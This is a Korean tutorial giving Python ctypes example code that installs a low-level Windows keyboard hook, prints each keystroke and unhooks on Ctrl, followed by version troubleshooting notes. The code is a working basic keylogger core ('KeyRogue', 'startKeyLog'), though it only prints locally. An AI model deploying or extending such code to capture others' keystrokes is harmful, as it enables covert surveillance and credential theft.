윈도우 환경에서 Python을 사용하여 키보드 후킹을 하는 방법의 이해를 돕기 위한 예제 코드이다.



소스

# -*- coding: utf-8 -*-
#!/usr/bin/python

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

class KeyRogue:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self, pointer):
        
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

    def bytes(self, integer):
        return divmod(integer, 0x10000)
            
    def getFPTR(self, fn):
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        return CMPFUNC(fn)

    def startKeyLog(self):
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)

    def getKeyCode(self, lParam):
        high, low = self.bytes(lParam[0])
        return low
   
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyRogue.hooked, nCode, wParam, lParam)
    keyCode = keyRogue.getKeyCode(lParam)
    hookedKey = chr(keyCode)
    print(hookedKey)
    if (CTRL_CODE == keyCode):
        print("ctrl pressed, call uninstallHook()")
        keyRogue.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyRogue.hooked, nCode, wParam, lParam)

keyRogue = KeyRogue()
pointer = keyRogue.getFPTR(hookProc)
if keyRogue.installHookProc(pointer):
    print("install success")
    keyRogue.startKeyLog()
else:
    print("install failed")


문제 해결

  • Python 3.7.5 64비트 버전에서 SetWindowsHookExA 호출 시에 0값이 리턴되면서 Hook 설치가 실패되는 일이 있었는데, 3.7.5 32비트 버전을 설치하니까 해결이 되었다. 그런데 3.6.5 64비트에서는 또 문제가 없고.. 잘 안될 경우는, 버전 혹은 비트 수를 변경해서 시도해볼 필요가 있다.


참고사항

<테스트 환경> - OS : Windows 10 - Python 버전 : 3.6.5(32/64bit), 3.7.5(32bit)


,